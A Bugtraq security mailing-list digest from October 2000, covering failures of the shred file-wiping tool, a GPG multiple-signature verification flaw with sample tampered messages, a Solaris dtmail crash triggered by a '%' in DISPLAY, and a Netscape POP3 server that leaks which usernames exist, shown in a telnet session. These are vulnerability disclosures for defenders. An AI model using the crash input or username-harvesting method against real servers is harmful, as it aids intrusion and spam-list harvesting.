	Switch to another mail server as there will not be a fixed version
available.


For more advisories: http://www.atstake.com/research/index.html
PGP Key: http://www.atstake.com/research/pgp_key.asc

Copyright 2000 @stake, Inc. All rights reserved.


-----BEGIN PGP SIGNATURE-----
Version: PGP 7.0

iQA/AwUBOeXgbFESXwDtLdMhEQK7UACg5BBYYKzDSnXb6JnuffskVKGn2pUAoI1G
9TODImPMfmu4v87sWkw2sLjd
=YZd9
-----END PGP SIGNATURE-----

------------------------------

Date:    Wed, 11 Oct 2000 16:16:31 -0700
From:    Dan Kaminsky <dan...@CI...>
Subject: Re: Shred 1.0 Bug Report

> I therefore advise discontinuation of the use of the "shred" package. I
> have no plans to bugfix or update it, since Tom Vier's "wipe" package
> accomplishes the same job, and in a more thorough fashion.

Wipe is impressive, though srm and overwrite are generally what I've been
using(srm's recursive functionality is clean and simple).

Oddly enough, I've been questioning the value of attempting to shred disk
contents past what dedicated hardware can read.  In my mind, it may be more
important to *by default* cause all files, or all files mounted on a given
"secure partition", to be overwritten with just a single pass to prevent all
software based attacks from being successful.  Dedicated hardware implies
physical access to the hard drive--if your threat scenario grants that,
there's alot more damaging things they can do to your systems and your
infrastructure.  Contrast that with the threat of root being remotely
breached, and your disks being scanned for undeletable files.  As
distasteful as such a situation may be, it's just *far* more likely than a
physical break-in.

It's reasonably arguable how many passes of what kind of data(pseudorandom
vs. patterned) actually can protect against a physical analysis--Gutmann's
paper aside, the few companies and TLA's that do this sort of thing aren't
particularly open with their methods or capabilities.  However, there's no
question that simply overwriting and wiping the data once, as is already
done in good operating systems when formerly used system memory is remapped
to a new process, will protect against all software-based attacks--hard
drives simply lack the firmware commands to return deep scan information
about the physical surface.

Often, such code hasn't been deployed because it slows down the system
considerably when used in a synchronous manner.  For synchronous
single-wiped deletion, if you delete a one gigabyte file, and you need to
wait for a gig of pseudorandom data to be written to the hard drive before
you can access that space, you've got a three to five minute delay tacked on
to whatever the file system already required to wipe that file.  That's
easily enough to cause secure deletion to be disabled, especially because of
all the non-obvious cases--a one gigabyte file is opened and replaced with a
one megabyte file.  For synchronous code, somewhere in that process a huge
delay has to be inserted to clear out the unused space.  For a user who just
wants to save something, they're almost guaranteed to assume their machine
has crashed and reboot/kill -9.

This, most likely, leaves possibly security critical garbage data sitting on
the hard drive--the synchronous wipe was almost certainly disabled before it
could finish.  Never let it be said that user interfaces and security are
not intrinsically linked to one another.

Since synchronous wiping on everything is infeasable, there are really two
solutions:  One, explicitly use userspace secure deletion utilities to wipe
files we know are security critical.  This is where apps like shred, wipe,
srm, and overwrite come into play.  The other is a "lazy overwriting"
asynchronous daemon, which sacrifices immediate security and code simplicity
for the ability to know that, within a certain amount of time after space is
de-allocated, the former contents of that space will be overwritten and be
no
longer recoverable.

By turning secure deletion into a non-blocking process, it might actually be
feasable to have it more widely deployed--one of the problems with userspace
tools is you can't use them for *every* transaction(even if you replace the
rm executable with srm, it doesn't help with simple clobbers a la cat >
file) and you have to know in advance which specific files are security
sensitive.  If anything changes on your system, or if any apps do their own
file management...you've gotta modify your system configuration, sometimes
to the point of changing source code.  That's in addition to the speed
penalty.  Asynchronous methods can run whenever the system isn't heavily
loaded.  Synchronous processes hold everything else up.

I'm not aware of any projects to create an asychronous secure deletion
daemon, but believe me, I'd use one if I could find one.

> Jeff, I do have to question whether it was appropriate to notify
> Bugtraq, since "shred" was never, to my knowledge, a part of any Linux
> distribution.

This is *absolutely* irrelevant.  A security critical package failed to
perform it's single security critical function.  Whether or not this was
because of a change in file handling semantics is irrelevant:  Files that
people thought were wiped from their drives were almost certainly *not*.

At minimum, it's a great example of the law of unintended consequences and
the need to verify the functionality of one's code.  "It looks and sounds
like it's overwriting file, so it must be!" was how Shred was judged as
functional.  Nobody had the tools before TCT(or grep /dev/hda, but I'm
talking convenience here) to see if the deletion actually worked.

It didn't, the report went out.  If a security list didn't post that
security software was insecure, it wouldn't be much of a security list!

Yours Truly,

    Dan Kaminsky
    Cisco Systems, Advanced Network Services
    http://www.doxpara.com

------------------------------

Date:    Wed, 11 Oct 2000 12:30:19 -0700
From:    Jim Small <cav...@MY...>
Subject: GPG 1.0.3 doesn't detect modifications to files with multiple
         signatures

Attached is multiple copies of a file I had signed.  Then I started modifying parts of the SIGNED message.  To see if gpg could detect that the messages had been altered.  It did not detect them, so long as the last signed message had not been altered.

Save this message as newfile.asc and run
gpg --verify newfile.asc -o /dev/null
to see for yourself  (the key it was signed with is available via keyservers)


asdfasfasdfd


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

I just added by one stuff to thie message
bogugfirst file encrypted with nobody dude on uinix box, send to nethole forpmail

this is actually encrypted with a valid pgpg key imported form win95

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.3 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE538QlZi9y1BQncn4RAj/vAKCmfScBFegl6LMD3Q99N51pvuHAIQCfUv5+ a05Yt6xZwd/PxtQsRe+88AQ=
=siBR
-----END PGP SIGNATURE-----

middle stuff


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

another wrong
first file encrypted with nobody dude on uinix box, send to nethole forpmail

this is actually encrypted with a valid pgpg key imported form win95

another file
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.3 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE538hvZi9y1BQncn4RAolnAKCwEJTyPm6895ybQfk1D5IfeqJjmwCg4MlP 3NbvJocg5ksql40aOTZf0MY=
=yBf2
-----END PGP SIGNATURE-----



asfasfasf end stuff
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

first file encrypted with nobody dude on uinix box, send to nethole forpmail

this is actually encrypted with a valid pgpg key imported form win95

bogud

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.3 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE538QlZi9y1BQncn4RAj/vAKCmfScBFegl6LMD3Q99N51pvuHAIQCfUv5+ a05Yt6xZwd/PxtQsRe+88AQ=
=siBR
-----END PGP SIGNATURE-----

stuff


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

first file encrypted with nobody dude on uinix box, send to nethole forpmail



this is actually encrypted with a valid pgpg key imported form win95

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.3 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE538QlZi9y1BQncn4RAj/vAKCmfScBFegl6LMD3Q99N51pvuHAIQCfUv5+ a05Yt6xZwd/PxtQsRe+88AQ=
=siBR
-----END PGP SIGNATURE-----
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

first file encrypted with nobody dude on uinix box, send to nethole forpmail

this is actually encrypted with a valid pgpg key imported form win95

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.3 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE538QlZi9y1BQncn4RAj/vAKCmfScBFegl6LMD3Q99N51pvuHAIQCfUv5+ a05Yt6xZwd/PxtQsRe+88AQ=
=siBR
-----END PGP SIGNATURE-----
gpg: Signature made Sat Oct  7 17:47:33 2000 PDT using DSA key ID 1427727E
gpg: Good signature from "James F. Small, Jr. <sm...@ne...>" gpg:                aka "Jim Small <sm...@pa...>" gpg:                aka "James F. Small, Jr. <sm...@sa...>" gpg:                aka "James F. Small, Jr. <sm...@sm...>" gpg: Signature made Sat Oct  7 18:05:51 2000 PDT using DSA key ID 1427727E
gpg: BAD signature from "James F. Small, Jr. <sm...@ne...>" gpg: Signature made Sat Oct  7 17:47:33 2000 PDT using DSA key ID 1427727E
gpg: Good signature from "James F. Small, Jr. <sm...@ne...>" gpg:                aka "Jim Small <sm...@pa...>" gpg:                aka "James F. Small, Jr. <sm...@sa...>" gpg:                aka "James F. Small, Jr. <sm...@sm...>" gpg: Signature made Sat Oct  7 17:47:33 2000 PDT using DSA key ID 1427727E
gpg: Good signature from "James F. Small, Jr. <sm...@ne...>" gpg:                aka "Jim Small <sm...@pa...>" gpg:                aka "James F. Small, Jr. <sm...@sa...>" gpg:                aka "James F. Small, Jr. <sm...@sm...>" gpg: Signature made Sat Oct  7 17:47:33 2000 PDT using DSA key ID 1427727E
gpg: Good signature from "James F. Small, Jr. <sm...@ne...>" gpg:                aka "Jim Small <sm...@pa...>" gpg:                aka "James F. Small, Jr. <sm...@sa...>" gpg:                aka "James F. Small, Jr. <sm...@sm...>"






------------------------------------------------------------
--== Sent via Deja.com http://www.deja.com/ ==--
Before you buy.

------------------------------

Date:    Wed, 11 Oct 2000 22:17:53 GMT
From:    scanf <sc...@MO...>
Subject: solaris8 dtmail

hi,
I was playing around on my solaris8 box and i found something strange.

console@sunrise:pts/11:~$ /usr/dt/bin/dtmail
libSDtMail: Error: Xt Error: Can't open display:
console@sunrise:pts/11:~$ export DISPLAY="%s%s%s"
console@sunrise:pts/11:~$ /usr/dt/bin/dtmail
Segmentation Fault
console@sunrise:pts/11:~$

first glance it appears to be a format string vuln.  however i checked a little further.

console@sunrise:pts/11:~$ export DISPLAY="%"
console@sunrise:pts/11:~$ /usr/dt/bin/dtmail
Segmentation Fault
console@sunrise:pts/11:~$

It only needed a % to crash.  I don't have the source to this so I decided not to check it further.  It might be soem parse'ing error in the code.  I posted this in case anybody wants to investigate it.

console
co...@su...

------------------------------

Date:    Wed, 11 Oct 2000 17:30:48 -0400
From:    Matt Holtz <mh...@PU...>
Subject: Netscape Messaging server 4.15 poor error strings

Hello,
I have searched for anything regarding this problem, and haven't found
anything so I apologize if this has already been covered.

I am dealing with Netscape Messaging Server (aka Iplanet Messaging
server) 4.15p1 (mar 15 2000).

The problem is that the POP3 server displays a different message for an
authentication error due to an invalid password then for one due to an
invalid username.  This could be used to "harvest" email addresses for spam
lists.  I have contacted Netscape engineering regarding this issue, and they
have failed to get back to me with an answer.



Here is an example:
I created an account test.user but not one called invalid.user

[mholtz@ ~]$ telnet someserver.example.com 110
Trying 172.16.10.107...
Connected to someserver.example.com (172.16.10.107).
Escape character is '^]'.
+OK someserver.example.com POP3 service (Netscape Messaging Server 4.15 Patch 1 (built Mar 15 2000))
USER test.user
+OK Name is a valid mailbox
PASS blah
-ERR Password incorrect
quit
+OK
Connection closed by foreign host.
[mholtz@ ~]$ telnet someserver.example.com 110
Trying 172.16.10.107...
Connected to someserver.example.com (172.16.10.107).
Escape character is '^]'.
+OK someserver.example.com POP3 service (Netscape Messaging Server 4.15 Patch 1 (built Mar 15 2000))
user invalid.user
+OK Name is a valid mailbox
PASS blah
-ERR User unknown
quit
+OK
Connection closed by foreign host.
[mholtz@ ~]$

I have searched for a way to change this in all of the documentation and
haven't found anything.  Fortunately it does pause for 1 second after an
authentication failure.

Note: this example uses messaging server for solaris 7.



Matt Holtz

------------------------------

Date:    Wed, 11 Oct 2000 16:20:08 -0700
From:    Alfred Perlstein <br...@WI...>
Subject: Re: Shred 1.0 Bug Report

* Wietse Venema <wi...@PO...> [001011 14:48] wrote:
> M. Leo Cooper:
> > It has been a couple of years since I actively worked on "shred". In
> > response to your e-mail, Jeff, when I tested the program, it no longer
> > worked as specified. In fact, when compiled on a glibc 2.1 machine,
> > "shred" coredumps. It appears that this package is a victim of the
> > changes made to libc.
>
> The shredding problem is not in libc.
>
> The problem is that shred(1) should have called fsync() after each
> overwrite iteration, in order to request that data be flushed from
> the kernel buffers to the disk blocks.

Programs like shred are particularly bad, they offer a false sense
of security, this instance shows a complete lack of understanding
of how most UNIX filesystems are implemented.

Shred won't work reliably on:

a) data logging filesystems
b) transactional filesystems
c) filesystems that perform online defrag (FreeBSD-FFS+reallockblks)
d) filesystems that offer snapshot capabilities.
e) (well i'm sure there's more)

Programs like this offer a false sense of security, the proper way
to do it is to implement some sort of 'scrub(2)' syscall that
informs the filesystem code to accomplish the task otherwise you
risk missing the data on the disk.  There is no way to for something
like this working entirely from userland on an advanced filesystem
without its assistance.

> > I therefore advise discontinuation of the use of the "shred" package. I
> > have no plans to bugfix or update it, since Tom Vier's "wipe" package
> > accomplishes the same job, and in a more thorough fashion.
> >
> > Jeff, I do have to question whether it was appropriate to notify
> > Bugtraq, since "shred" was never, to my knowledge, a part of any Linux
> > distribution.
>
> shred(1) installs with redhat 6.2, out of the box. Beware, software
> never dies. Once you release it things are out of your control.

shred should die.  Anyone relying on it deserves their bits stolen
and posted on usenet.

much love,
--
-Alfred Perlstein - [br...@wi...|al...@fr...]
"I have the heart of a child; I keep it in a jar on my desk."

------------------------------

End of BUGTRAQ Digest - 11 Oct 2000 to 12 Oct 2000 (#2000-231)
**************************************************************